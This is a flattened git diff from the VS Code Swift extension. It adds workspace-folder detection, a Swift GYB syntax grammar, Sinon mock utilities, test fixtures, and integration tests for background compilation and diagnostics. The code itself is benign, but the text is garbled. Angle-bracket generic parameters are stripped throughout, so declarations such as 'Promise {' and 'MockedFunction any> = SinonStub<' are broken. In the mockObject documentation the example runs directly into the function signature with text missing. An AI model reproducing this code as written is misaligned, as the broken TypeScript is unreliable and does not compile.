path.join(folder, "buildServer.json"); + const buildServerStat = await fs.stat(buildServerPath).catch(() => undefined); + if (buildServerStat && buildServerStat.isFile()) { + return true; + } + // .bsp/*.json for Swift >= 6.1.0 + if (swiftVersion.isGreaterThanOrEqual(new Version(6, 1, 0))) { + const bspDir = path.join(folder, ".bsp"); + const bspStat = await fs.stat(bspDir).catch(() => undefined); + if (bspStat && bspStat.isDirectory()) { + const files = await fs.readdir(bspDir).catch(() => []); + if (files.some(f => f.endsWith(".json"))) { + return true; + } + } + } + return false; +} + +export async function isValidWorkspaceFolder( + folder: string, + disableSwiftPMIntegration: boolean, + swiftVersion: Version +): Promise { + // Check Package.swift first (most common case) + if (!disableSwiftPMIntegration && (await pathExists(folder, "Package.swift"))) { + return true; + } + + // Check other common build files + if (await pathExists(folder, "compile_commands.json")) { + return true; + } + + if (await pathExists(folder, "compile_flags.txt")) { + return true; + } + + if (await folderExists(folder, "build")) { + return true; + } + + if (await folderExists(folder, "out")) { + return true; + } + + // Check BSP configuration last (potentially more expensive) + if (await hasBSPConfigurationFile(folder, swiftVersion)) { + return true; + } + + return false; +} diff --git a/swift-gyb.language-configuration.json b/swift-gyb.language-configuration.json new file mode 100644 index 000000000..cc711d7b8 --- /dev/null +++ b/swift-gyb.language-configuration.json @@ -0,0 +1,17 @@ +{ + "brackets": [["{", "}"]], + "autoClosingPairs": [ + ["%{", "}%"], + ["${", "}"] + ], + "surroundingPairs": [ + ["%{", "}%"], + ["${", "}"] + ], + "folding": { + "markers": { + "start": "^\\s*(?:%\\{|%[^\\{].*?:)", + "end": "^\\s*(?:\\}%|%\\s*end\\b)" + } + } +} diff --git a/syntaxes/swift-gyb.tmLanguage.json b/syntaxes/swift-gyb.tmLanguage.json new file mode 100644 index 000000000..88adf51a2 --- /dev/null +++ b/syntaxes/swift-gyb.tmLanguage.json @@ -0,0 +1,89 @@ +{ + "$schema": "https://raw.githubusercontent.com/martinring/tmlanguage/master/tmlanguage.json", + "name": "Swift GYB", + "patterns": [ + { "include": "#gyb-code-block" }, + { "include": "#gyb-start-control-statement" }, + { "include": "#gyb-end-control-statement" }, + { "include": "#gyb-expression" }, + { "include": "source.swift" } + ], + "repository": { + "gyb-code-block": { + "name": "meta.embedded.block.gyb", + "begin": "^\\s*(%)\\{", + "beginCaptures": { + "1": { "name": "keyword.control.gyb" }, + "0": { "name": "punctuation.section.block.begin.gyb" } + }, + "end": "\\}(%)", + "endCaptures": { + "1": { "name": "keyword.control.gyb" }, + "0": { "name": "punctuation.section.block.end.gyb" } + }, + "patterns": [{ "include": "source.python" }] + }, + "gyb-start-control-statement": { + "name": "meta.embedded.control.begin.gyb", + "begin": "^\\s*(%)(?!\\{|\\s*end\\b)", + "beginCaptures": { + "1": { "name": "keyword.control.flow.gyb" } + }, + "end": ":", + "endCaptures": { + "0": { "name": "punctuation.separator.colon.gyb" } + }, + "patterns": [{ "include": "source.python" }] + }, + "gyb-end-control-statement": { + "name": "meta.embedded.control.end.gyb", + "match": "^\\s*%\\s*end\\b", + "captures": { + "0": { "name": "keyword.control.flow.gyb" } + } + }, + "gyb-expression": { + "name": "meta.embedded.expression.gyb", + "begin": "(\\$)\\{", + "beginCaptures": { + "1": { "name": "variable.other.gyb" }, + "0": { "name": "punctuation.section.expression.begin.gyb" } + }, + "end": "\\}", + "endCaptures": { + "0": { "name": "punctuation.section.expression.end.gyb" } + }, + "patterns": [{ "include": "source.python" }] + } + }, + "injections": { + "source.swift": { + "patterns": [ + { "include": "#gyb-code-block" }, + { "include": "#gyb-start-control-statement" }, + { "include": "#gyb-end-control-statement" }, + { "include": "#gyb-expression" } + ] + }, + "source.python": { + "patterns": [ + { "include": "#gyb-code-block" }, + { "include": "#gyb-start-control-statement" }, + { "include": "#gyb-end-control-statement" }, + { "include": "#gyb-expression" } + ] + }, + "source.swift.gyb": { + "patterns": [ + { "include": "#gyb-code-block" }, + { "include": "#gyb-start-control-statement" }, + { "include": "#gyb-end-control-statement" }, + { "include": "#gyb-expression" } + ] + } + }, + "scopeName": "source.swift.gyb", + "fileTypes": ["swift.gyb"], + "foldingStartMarker": "^\\s*(?:%\\{|%[^\\{].*?:)", + "foldingStopMarker": "^\\s*(?:\\}%|%\\s*end\\b)" +} diff --git a/test/.eslintrc.json b/test/.eslintrc.json new file mode 100644 index 000000000..ac8f7c1d5 --- /dev/null +++ b/test/.eslintrc.json @@ -0,0 +1,6 @@ +{ + "rules": { + "no-console": "off", + "@typescript-eslint/no-explicit-any": "off" + } +} diff --git a/test/MockUtils.ts b/test/MockUtils.ts new file mode 100644 index 000000000..66c44d568 --- /dev/null +++ b/test/MockUtils.ts @@ -0,0 +1,486 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import { SinonStub, stub } from "sinon"; +import * as vscode from "vscode"; + +/** + * Waits for all promises returned by a MockedFunction to resolve. Useful when + * the code you're testing doesn't await the function being mocked, but instead + * lets it run in the background. + * + * @param mockedFn the mocked function to retrieve return values from + */ +export async function waitForReturnedPromises( + mockedFn: MockedFunction<(...args: any) => Thenable> +): Promise { + for (const promise of mockedFn.returnValues) { + await promise; + } +} + +/** + * Convenience type used to convert a function into a SinonStub + */ +export type MockedFunction any> = SinonStub< + Parameters, + ReturnType +>; + +/** + * Retrieves the parameter types from a class constructor + */ +export type ConstructorParameters = T extends abstract new (...args: infer Arguments) => any + ? Arguments + : never; + +/** + * Retrieves the return type from a class constructor + */ +export type ConstructorReturnType = T extends abstract new (...args: any[]) => infer ReturnType + ? ReturnType + : never; + +/** + * Convenience type used to convert a class constructor into a SinonStub + */ +export type MockedClass any> = SinonStub< + ConstructorParameters, + ConstructorReturnType +>; + +/** + * An object that has its functions replaced with SinonStubs. + */ +export type MockedObject = { + -readonly [K in keyof T]: T[K] extends (...args: any) => any + ? MockedFunction + : T[K] extends abstract new (...args: any[]) => any + ? MockedClass + : T[K]; +}; + +/** + * Retrieves the underlying object type of a MockedObject or MockedClass. + */ +export type InstanceOf = + T extends MockedObject ? Obj : T extends MockedClass ? Clazz : never; + +/** + * Casts the given MockedObject into the same type as the class it is trying to mock. + * + * This is only necessary to use when TypeScript complains about missing properties. + * + * @param obj The MockedObject + * @returns The underlying class that the MockedObject is mocking + */ +export function instance>(obj: T): InstanceOf; +export function instance>(obj: T): InstanceOf; +export function instance(mockedObject: any): any { + return mockedObject; +} + +/** + * Checks whether or not the given object is a stub or spy. + * + * @param obj The object to check + */ +function isStub(obj: any): boolean { + return obj && (obj.displayName === "stub" || obj.displayName === "spy"); +} + +/** + * Performs a shallow clone of a given object, replacing its functions with SinonStubs. + * It will also check to make sure a function is not already a stub before replacing it. + * + * @param obj The object to shallow clone + * @returns The shallow cloned object + */ +function replaceWithMocks(obj: Partial): MockedObject { + const result: any = {}; + for (const property of Object.getOwnPropertyNames(obj)) { + try { + const value = (obj as any)[property]; + if (typeof value === "function" && !isStub(value)) { + result[property] = stub(); + } else { + result[property] = value; + } + } catch (error) { + // Certain VSCode internals are locked behind API flags that will + // throw an error if not set. Hold onto the error and throw it later + // if this property is actually accessed by the test. + (error as any)._wasThrownByRealObject = true; + result[property] = error; + } + } + return result; +} + +/** + * Creates a MockedObject from an interface or class. Converts any functions into SinonStubs. + * + * interface Interface { + * num: number; + * sum(a: number, b: number): number; + * } + * const mock = mockObject(overrides: Partial): MockedObject { + const clonedObject = replaceWithMocks(overrides); + function checkAndAcquireValueFromTarget(target: any, property: string | symbol): any { + if (!Object.prototype.hasOwnProperty.call(target, property)) { + throw new Error( + `Attempted to access property '${String(property)}', but it was not mocked.` + ); + } + const value = target[property]; + if (value && Object.prototype.hasOwnProperty.call(value, "_wasThrownByRealObject")) { + throw value; + } + return value; + } + return new Proxy(clonedObject, { + get(target, property) { + return checkAndAcquireValueFromTarget(target, property); + }, + set(target, property, value) { + checkAndAcquireValueFromTarget(target, property); + target[property] = value; + return true; + }, + }); +} + +/** + * Convenience function for use with mockObject() that creates a Sinon stub with the correct arguments + * and return type. + * + * interface Interface { + * sum(a: number, b: number): number; + * } + * const mock = mockObjects.returns(17)), + * }); + * + * @param stubFunction A function that can be used to add functionality to the SinonStub + * @returns A Sinon stub for the function + */ +export function mockFn any>( + stubFunction?: (_: MockedFunction) => void +): T { + const result: MockedFunction = stub(); + if (stubFunction) { + stubFunction(result); + } + return result as any; +} + +/** + * Determines whether or not the given type can be converted to a MockedObject + */ +type MockableObject = T extends object + ? T extends Array + ? never + : T extends Set + ? never + : T extends Map + ? never + : T + : never; + +/** + * Retrieves the keys of an object that can be converted to a MockedObject + */ +type MockableObjectsOf = { + [K in keyof T]: T[K] extends MockableObject ? K : never; +}[keyof T]; + +/** + * Create a new mock for each test that gets cleaned up automatically afterwards. This function makes use of the fact that + * Mocha's setup() and teardown() methods can be called from anywhere. The resulting object is a proxy to the real + * mock since it won't be created until the test actually begins. + * + * The proxy lets us avoid boilerplate by creating a mock in one line: + * + * import { expect } from "chai"; + * import * as vscode from "vscode"; + * + * suite("Test Suite", () => { + * const windowMock = mockGlobalObject(vscode, "window"); + * + * test('test case', () => { + * vscode.showErrorMessage("Some error message"); + * expect(windowMock.showErrorMessage).to.have.been.calledWith("Some error message"); + * }); + * }); + * + * **Note:** This **MUST** be called outside of the test() function or it will not work. + * + * @param obj The object to create the stub inside + * @param property The property inside the object to be stubbed + */ +export function mockGlobalObject>( + obj: T, + property: K +): MockedObject { + let realMock: MockedObject; + const originalValue: T[K] = obj[property]; + // Create the mock at setup + setup(() => { + realMock = mockObject(obj[property]); + Object.defineProperty(obj, property, { value: realMock }); + }); + // Restore original value at teardown + teardown(() => { + Object.defineProperty(obj, property, { value: originalValue }); + }); + // Return the proxy to the real mock + return new Proxy(originalValue, { + get(_target, property) { + if (!realMock) { + throw Error("Mock proxy accessed before setup()"); + } + return (realMock as any)[property]; + }, + set(_target, property, value) { + (realMock as any)[property] = value; + return true; + }, + }); +} + +function shallowClone(obj: T): T { + const result: any = {}; + for (const property of Object.getOwnPropertyNames(obj)) { + result[property] = (obj as any)[property]; + } + return result; +} + +/** + * Create a new mock for each test that gets cleaned up automatically afterwards. This function makes use of the fact that + * Mocha's setup() and teardown() methods can be called from anywhere. The resulting object is a proxy to the real + * mock since it won't be created until the test actually begins. + * + * The proxy lets us avoid boilerplate by creating a mock in one line: + * + * import { expect } from "chai"; + * import * as fs from "fs/promises"; + * + * suite("Test Suite", () => { + * const fsMock = mockGlobalModule(fs); + * + * test("test case", () => { + * fsMock.readFile.resolves("file contents"); + * await expect(fs.readFile("some_file")).to.eventually.equal("file contents"); + * expect(fsMock.readFile).to.have.been.calledWith("some_file"); + * }); + * }); + * + * **Note:** This **MUST** be called outside of the test() function or it will not work. + * + * @param mod The module that will be fully mocked + */ +export function mockGlobalModule(mod: T): MockedObject { + let realMock: MockedObject; + const originalValue: T = shallowClone(mod); + // Create the mock at setup + setup(() => { + realMock = mockObject(mod); + for (const property of Object.getOwnPropertyNames(realMock)) { + try { + Object.defineProperty(mod, property, { + value: (realMock as any)[property], + writable: true, + }); + } catch { + // Some properties of a module just can't be mocked and that's fine + } + } + }); + // Restore original value at teardown + teardown(() => { + for (const property of Object.getOwnPropertyNames(originalValue)) { + try { + Object.defineProperty(mod, property, { + value: (originalValue as any)[property], + }); + } catch { + // Some properties of a module just can't be mocked and that's fine + } + } + }); + // Return the proxy to the real mock + return new Proxy(originalValue, { + get(_target, property) { + if (!realMock) { + throw Error("Mock proxy accessed before setup()"); + } + return (mod as any)[property]; + }, + set(_target, property, value) { + (mod as any)[property] = value; + return true; + }, + }); +} + +/** + * Allows setting the constant value. + */ +export interface MockedValue { + setValue(value: T): void; +} + +/** + * Create a new MockedValue for each test that gets cleaned up automatically afterwards. This function makes use of the + * fact that Mocha's setup() and teardown() methods can be called from anywhere. The resulting object is a proxy to the + * real MockedValue since it won't be created until the test actually begins. + * + * The proxy lets us avoid boilerplate by creating a mock in one line: + * + * import { expect } from "chai"; + * + * suite("Test Suite", () => { + * const platformMock = mockGlobalValue(process, "platform"); + * + * test("test case", () => { + * platformMock.setValue("linux"); + * }); + * }); + * + * **Note:** This **MUST** be called outside of the test() function or it will not work. + * + * @param obj The object to create the MockedValue inside + * @param property The property inside the object to be mocked + */ +export function mockGlobalValue(obj: T, property: K): MockedValue { + let setupComplete: boolean = false; + let originalValue: T[K]; + // Grab the original value during setup + setup(() => { + originalValue = obj[property]; + setupComplete = true; + }); + // Restore the original value on teardown + teardown(() => { + Object.defineProperty(obj, property, { value: originalValue }); + setupComplete = false; + }); + // Return a ValueMock that allows for easy mocking of the value + return { + setValue(value: T[K]): void { + if (!setupComplete) { + throw new Error("Mocks cannot be accessed outside of test functions"); + } + Object.defineProperty(obj, property, { value: value }); + }, + }; +} + +/** + * Retrieves all properties of an object that are of the type vscode.Event. + */ +type EventsOf = { + [K in keyof T]: T[K] extends vscode.Event ? K : never; +}[keyof T]; + +/** + * Retrieves the type of event given to the generic vscode.Event + */ +export type EventType = T extends vscode.Event ? E : never; + +/** + * Create a new AsyncEventEmitter for each test that gets cleaned up automatically afterwards. This function makes use of the + * fact that Mocha's setup() and teardown() methods can be called from anywhere. The resulting object is a proxy to the + * real AsyncEventEmitter since it won't be created until the test actually begins. + * + * The proxy lets us avoid boilerplate by creating a mock in one line: + * + * import { expect } from "chai"; + * import { stub } from "sinon"; + * import * as vscode from "vscode"; + * + * suite("Test Suite", () => { + * const didStartTask = mockGlobalEvent(vscode.tasks, "onDidStartTask"); + * + * test("test case", () => { + * const stubbedListener = stub(); + * vscode.tasks.onDidStartTask(stubbedListener); + * + * didStartTask.fire(); + * expect(stubbedListener).to.have.been.calledOnce; + * }); + * }); + * + * **Note:** This **MUST** be called outside of the test() function or it will not work. + * + * @param obj The object to create the AsyncEventEmitter inside + * @param property The property inside the object to be mocked + */ +export function mockGlobalEvent>( + obj: T, + property: K +): AsyncEventEmitter> { + let eventEmitter: vscode.EventEmitter>; + const originalValue: T[K] = obj[property]; + // Create the mock at setup + setup(() => { + eventEmitter = new vscode.EventEmitter(); + Object.defineProperty(obj, property, { value: eventEmitter.event }); + }); + // Restore original value at teardown + teardown(() => { + Object.defineProperty(obj, property, { value: originalValue }); + }); + // Return the proxy to the EventEmitter + return new Proxy(new AsyncEventEmitter(), { + get(_target, property) { + if (!eventEmitter) { + throw Error("Mock proxy accessed before setup()"); + } + return (eventEmitter as any)[property]; + }, + set(_target, property, value) { + (eventEmitter as any)[property] = value; + return true; + }, + }); +} + +/** + * An asynchronous capable version of vscode.EventEmitter that will await + * returned promises from an event listener. + */ +export class AsyncEventEmitter { + private listeners: Set<(event: T) => any> = new Set(); + + event: vscode.Event = (listener: (event: T) => unknown): vscode.Disposable => { + this.listeners.add(listener); + return new vscode.Disposable(() => this.listeners.delete(listener)); + }; + + async fire(event: T): Promise { + for (const listener of this.listeners) { + await listener(event); + } + } +} diff --git a/test/common.ts b/test/common.ts new file mode 100644 index 000000000..a966a2828 --- /dev/null +++ b/test/common.ts @@ -0,0 +1,55 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as chai from "chai"; +import * as chaiAsPromised from "chai-as-promised"; +import * as chaiSubset from "chai-subset"; +import * as fs from "fs"; +import * as mockFS from "mock-fs"; +import * as path from "path"; +import * as sinonChai from "sinon-chai"; +import * as sourceMapSupport from "source-map-support"; +import * as tsConfigPaths from "tsconfig-paths"; + +import { installTagSupport } from "./tags"; + +// Use source-map-support to get better stack traces. +// +// We have to override retrieveFile() here because any test that uses mock-fs will break +// source map lookups. This will make sure that, even if mock-fs is in effect, source map +// support can still find the files that it needs to. +sourceMapSupport.install({ + retrieveFile(path: string): string | null { + return mockFS.bypass(() => { + if (!fs.existsSync(path)) { + return null; + } + return fs.readFileSync(path, "utf-8"); + }); + }, +}); + +const tsConfig = JSON.parse( + // __dirname points to dist/test when transpiled, but we need the tsconfig.json in the real test/ + fs.readFileSync(path.join(__dirname, "../../test/tsconfig.json"), "utf-8") +); +tsConfigPaths.register({ + baseUrl: __dirname, + paths: tsConfig.compilerOptions.paths, +}); + +chai.use(sinonChai); +chai.use(chaiAsPromised); +chai.use(chaiSubset); + +installTagSupport(); diff --git a/test/fixtures.ts b/test/fixtures.ts index 2264f765f..91cfc28e2 100644 --- a/test/fixtures.ts +++ b/test/fixtures.ts @@ -1,19 +1,23 @@ //===----------------------------------------------------------------------===// // -// This source file is part of the VSCode Swift open source project +// This source file is part of the VS Code Swift open source project // -// Copyright (c) 2021 the VSCode Swift project authors +// Copyright (c) 2021 the VS Code Swift project authors // Licensed under Apache License v2.0 // // See LICENSE.txt for license information -// See CONTRIBUTORS.txt for the list of VSCode Swift project authors +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors // // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - -import * as vscode from "vscode"; import * as path from "path"; +import * as vscode from "vscode"; + +import { SwiftExecution } from "@src/tasks/SwiftExecution"; +import { SwiftProcess } from "@src/tasks/SwiftProcess"; +import { SwiftTask, createSwiftTask } from "@src/tasks/SwiftTaskProvider"; +import { SwiftToolchain } from "@src/toolchain/toolchain"; /** Workspace folder class */ class TestWorkspaceFolder implements vscode.WorkspaceFolder { @@ -26,6 +30,120 @@ class TestWorkspaceFolder implements vscode.WorkspaceFolder { } } +export class TestSwiftProcess implements SwiftProcess { + private readonly spawnEmitter: vscode.EventEmitter = new vscode.EventEmitter(); + private readonly writeEmitter: vscode.EventEmitter = new vscode.EventEmitter(); + private readonly errorEmitter: vscode.EventEmitter = new vscode.EventEmitter(); + private readonly closeEmitter: vscode.EventEmitter = new vscode.EventEmitter< + number | void + >(); + + isSpawned: boolean = false; + private error?: Error; + private exitCode?: number; + private accumulatedOutput: string = ""; + + constructor( + public command: string, + public args: string[] + ) {} + + setError(error: Error): void { + this.error = error; + } + + spawn(): void { + this.isSpawned = true; + if (this.error) { + this.errorEmitter.fire(this.error); + } else { + this.spawnEmitter.fire(); + } + } + + write(line: string, delimiter: string = "\n"): void { + const output = `${line}${delimiter}`; + this.accumulatedOutput += output; + this.writeEmitter.fire(output); + } + + close(exitCode: number): void { + this.exitCode = exitCode; + this.closeEmitter.fire(exitCode); + this.dispose(); + } + + terminate(): void { + this.close(8); + } + + dispose() { + [this.spawnEmitter, this.writeEmitter, this.errorEmitter, this.closeEmitter].forEach(d => + d.dispose() + ); + } + + // These instantaneous task processes can lead to some + // events being missed while running under test + + onDidSpawn: vscode.Event = (listener: () => unknown, ...args) => { + if (this.isSpawned) { + listener(); + } + return this.spawnEmitter.event(listener, ...args); + }; + onDidWrite: vscode.Event = (listener: (s: string) => unknown, ...args) => { + if (this.accumulatedOutput) { + listener(this.accumulatedOutput); + } + return this.writeEmitter.event(listener, ...args); + }; + onDidThrowError: vscode.Event = (listener: (e: Error) => unknown, ...args) => { + if (this.isSpawned && this.error) { + listener(this.error); + } + return this.errorEmitter.event(listener, ...args); + }; + onDidClose: vscode.Event = ( + listener: (e: number | void) => unknown, + ...args + ) => { + if (this.exitCode !== undefined) { + listener(this.exitCode); + } + return this.closeEmitter.event(listener, ...args); + }; + + // eslint-disable-next-line @typescript-eslint/no-unused-vars + handleInput(input: string): void { + // Do nothing + } + + // eslint-disable-next-line @typescript-eslint/no-unused-vars + setDimensions(dimensions: vscode.TerminalDimensions): void { + // Do nothing + } +} + +export interface SwiftTaskFixture { + task: SwiftTask; + process: TestSwiftProcess; +} + +/** + * @returns the path of a file in the **dist** directory. + */ +export function distPath(name: string): string { + return path.resolve(__dirname, "../../dist", name); +} + +/** + * @returns the path of a resource in the **assets** directory. + */ +export function assetPath(name: string): string { + return path.resolve(__dirname, "../../assets", name); +} + /** * @returns the path of a resource in the **test** directory. */ @@ -46,3 +164,31 @@ export function testAssetUri(name: string): vscode.Uri { export function testAssetWorkspaceFolder(name: string): vscode.WorkspaceFolder { return new TestWorkspaceFolder(testAssetUri(name)); } + +export function testSwiftProcess(command: string, args: string[]): SwiftProcess { + return new TestSwiftProcess(command, args); +} + +export function testSwiftTask( + command: string, + args: string[], + workspaceFolder: vscode.WorkspaceFolder, + toolchain: SwiftToolchain +): SwiftTaskFixture { + const process = new TestSwiftProcess(command, args); + const execution = new SwiftExecution(command, args, {}, process); + const task = createSwiftTask( + args, + "my test task", + { + cwd: workspaceFolder.uri, + scope: workspaceFolder, + }, + toolchain + ); + task.execution = execution; + return { + task, + process, + }; +} diff --git a/test/integration-tests/BackgroundCompilation.test.ts b/test/integration-tests/BackgroundCompilation.test.ts new file mode 100644 index 000000000..3237158cc --- /dev/null +++ b/test/integration-tests/BackgroundCompilation.test.ts @@ -0,0 +1,160 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import { expect } from "chai"; +import * as vscode from "vscode"; + +import { BackgroundCompilation } from "@src/BackgroundCompilation"; +import { FolderContext } from "@src/FolderContext"; +import { WorkspaceContext } from "@src/WorkspaceContext"; +import { createSwiftTask, getBuildAllTask } from "@src/tasks/SwiftTaskProvider"; + +import { mockGlobalObject } from "../MockUtils"; +import { testAssetUri } from "../fixtures"; +import { tag } from "../tags"; +import { closeAllEditors } from "../utilities/commands"; +import { waitForNoRunningTasks } from "../utilities/tasks"; +import { + activateExtensionForSuite, + folderInRootWorkspace, + updateSettings, +} from "./utilities/testutilities"; + +tag("large").suite("BackgroundCompilation Test Suite", () => { + let workspaceContext: WorkspaceContext; + let folderContext: FolderContext; + let buildAllTask: vscode.Task; + + async function setupFolder(ctx: WorkspaceContext) { + workspaceContext = ctx; + folderContext = await folderInRootWorkspace("defaultPackage", workspaceContext); + buildAllTask = await getBuildAllTask(folderContext); + } + + suite("build all on save", () => { + let subscriptions: vscode.Disposable[]; + + activateExtensionForSuite({ + async setup(ctx) { + subscriptions = []; + await setupFolder(ctx); + return await updateSettings({ + "swift.backgroundCompilation": true, + }); + }, + }); + + suiteTeardown(async () => { + subscriptions.forEach(s => s.dispose()); + await closeAllEditors(); + }); + + test("runs build task", async () => { + const taskStartPromise = new Promise(resolve => { + subscriptions.push( + vscode.tasks.onDidStartTask(e => { + const task = e.execution.task; + if (task.name.includes("Build All")) { + resolve(); + } + }) + ); + }); + + const uri = testAssetUri("defaultPackage/Sources/PackageExe/main.swift"); + const doc = await vscode.workspace.openTextDocument(uri.fsPath); + await vscode.window.showTextDocument(doc); + await vscode.workspace.save(uri); + + await taskStartPromise; + await waitForNoRunningTasks(); + }); + }); + + suite("getTask", () => { + const tasksMock = mockGlobalObject(vscode, "tasks"); + let swiftTask: vscode.Task; + let nonSwiftTask: vscode.Task; + let backgroundConfiguration: BackgroundCompilation; + + suite("useDefaultTask", () => { + activateExtensionForSuite({ + async setup(ctx) { + await setupFolder(ctx); + nonSwiftTask = new vscode.Task( + { + type: "shell", + command: ["swift"], + args: ["build"], + group: { + id: "build", + isDefault: true, + }, + label: "shell build", + }, + folderContext.workspaceFolder, + "shell build", + "Workspace", + new vscode.ShellExecution("", { + cwd: testAssetUri("defaultPackage").fsPath, + }) + ); + swiftTask = createSwiftTask( + ["build"], + "swift build", + { + cwd: testAssetUri("defaultPackage"), + scope: folderContext.workspaceFolder, + }, + folderContext.toolchain + ); + swiftTask.source = "Workspace"; + return await updateSettings({ + "swift.backgroundCompilation": { + enabled: true, + useDefaultTask: true, + }, + }); + }, + }); + + setup(() => { + tasksMock.fetchTasks.withArgs().resolves([nonSwiftTask, swiftTask, buildAllTask]); + backgroundConfiguration = new BackgroundCompilation(folderContext); + }); + + teardown(() => { + backgroundConfiguration.dispose(); + }); + + test("swift default task", async () => { + swiftTask.group = { id: "build", isDefault: true }; + expect(await backgroundConfiguration.getTask()).to.equal(swiftTask); + }); + + test("non-swift default task", async () => { + nonSwiftTask.group = { id: "build", isDefault: true }; + expect(await backgroundConfiguration.getTask()).to.equal(nonSwiftTask); + }); + + test("don't use default task", async () => { + swiftTask.group = { id: "build", isDefault: true }; + await vscode.workspace.getConfiguration("swift").update("backgroundCompilation", { + enabled: true, + useDefaultTask: false, + }); + expect(await backgroundConfiguration.getTask()).to.equal(buildAllTask); + }); + }); + }); +}); diff --git a/test/integration-tests/DiagnosticsManager.test.ts b/test/integration-tests/DiagnosticsManager.test.ts new file mode 100644 index 000000000..fc541f8c0 --- /dev/null +++ b/test/integration-tests/DiagnosticsManager.test.ts @@ -0,0 +1,1393 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as assert from "assert"; +import { expect } from "chai"; +import * as vscode from "vscode"; + +import { DiagnosticsManager } from "@src/DiagnosticsManager"; +import { FolderContext } from "@src/FolderContext"; +import { WorkspaceContext } from "@src/WorkspaceContext"; +import { DiagnosticStyle } from "@src/configuration"; +import { createBuildAllTask, resetBuildAllTaskCache } from "@src/tasks/SwiftTaskProvider"; +import { SwiftToolchain } from "@src/toolchain/toolchain"; +import { Version } from "@src/utilities/version"; + +import { testAssetUri, testSwiftTask } from "../fixtures"; +import { tag } from "../tags"; +import { + executeTaskAndWaitForResult, + waitForNoRunningTasks, + waitForStartTaskProcess, +} from "../utilities/tasks"; +import { + activateExtensionForSuite, + folderInRootWorkspace, + updateSettings, +} from "./utilities/testutilities"; + +const isEqual = (d1: vscode.Diagnostic, d2: vscode.Diagnostic) => { + return ( + d1.severity === d2.severity && + d1.source === d2.source && + d1.message === d2.message && + d1.range.isEqual(d2.range) + ); +}; + +const findDiagnostic = (expected: vscode.Diagnostic) => (d: vscode.Diagnostic) => + isEqual(d, expected); + +function assertHasDiagnostic(uri: vscode.Uri, expected: vscode.Diagnostic): vscode.Diagnostic { + const diagnostics = vscode.languages.getDiagnostics(uri); + const diagnostic = diagnostics.find(findDiagnostic(expected)); + assert.notEqual( + diagnostic, + undefined, + `Could not find diagnostic matching:\n${JSON.stringify(expected)}\nDiagnostics found:\n${JSON.stringify(diagnostics)}` + ); + return diagnostic!; +} + +function assertWithoutDiagnostic(uri: vscode.Uri, expected: vscode.Diagnostic) { + const diagnostics = vscode.languages.getDiagnostics(uri); + assert.equal( + diagnostics.find(findDiagnostic(expected)), + undefined, + `Unexpected diagnostic matching:\n${JSON.stringify(expected)}\nDiagnostics:\n${JSON.stringify(diagnostics)}` + ); +} + +tag("medium").suite("DiagnosticsManager Test Suite", function () { + let workspaceContext: WorkspaceContext; + let folderContext: FolderContext; + let cFolderContext: FolderContext; + let cppFolderContext: FolderContext; + let toolchain: SwiftToolchain; + + let mainUri: vscode.Uri; + let funcUri: vscode.Uri; + let cUri: vscode.Uri; + let cppUri: vscode.Uri; + let cppHeaderUri: vscode.Uri; + let diagnosticWaiterDisposable: vscode.Disposable | undefined; + let remainingExpectedDiagnostics: { + [uri: string]: vscode.Diagnostic[]; + }; + + // Wait for all the expected diagnostics to be recieved. This may happen over several `onChangeDiagnostics` events. + type ExpectedDiagnostics = { [uri: string]: vscode.Diagnostic[] }; + const waitForDiagnostics = (expectedDiagnostics: ExpectedDiagnostics) => { + return new Promise(resolve => { + if (diagnosticWaiterDisposable) { + console.warn( + "Wait for diagnostics was called before the previous wait was resolved. Only one waitForDiagnostics should run per test." + ); + diagnosticWaiterDisposable?.dispose(); + } + // Keep a lookup of diagnostics we haven't encountered yet. When all array values in + // this lookup are empty then we've seen all diagnostics and we can resolve successfully. + remainingExpectedDiagnostics = { ...expectedDiagnostics }; + diagnosticWaiterDisposable = vscode.languages.onDidChangeDiagnostics(e => { + const matchingPaths = Object.keys(expectedDiagnostics).filter(uri => + e.uris.some(u => u.fsPath === uri) + ); + for (const uri of matchingPaths) { + const actualDiagnostics = vscode.languages.getDiagnostics(vscode.Uri.file(uri)); + for (const actualDiagnostic of actualDiagnostics) { + remainingExpectedDiagnostics[uri] = remainingExpectedDiagnostics[ + uri + ].filter(expectedDiagnostic => { + return !isEqual(actualDiagnostic, expectedDiagnostic); + }); + } + } + + const allDiagnosticsFulfilled = Object.values(remainingExpectedDiagnostics).every( + diagnostics => diagnostics.length === 0 + ); + + if (allDiagnosticsFulfilled) { + diagnosticWaiterDisposable?.dispose(); + diagnosticWaiterDisposable = undefined; + resolve(); + } + }); + }); + }; + + activateExtensionForSuite({ + async setup(ctx) { + workspaceContext = ctx; + toolchain = workspaceContext.globalToolchain; + folderContext = await folderInRootWorkspace("diagnostics", workspaceContext); + cFolderContext = await folderInRootWorkspace("diagnosticsC", workspaceContext); + cppFolderContext = await folderInRootWorkspace("diagnosticsCpp", workspaceContext); + mainUri = testAssetUri("diagnostics/Sources/main.swift"); + funcUri = testAssetUri("diagnostics/Sources/func in here.swift"); // Want spaces in name to watch https://github.com/swiftlang/vscode-swift/issues/1630 + cUri = testAssetUri("diagnosticsC/Sources/MyPoint/MyPoint.c"); + cppUri = 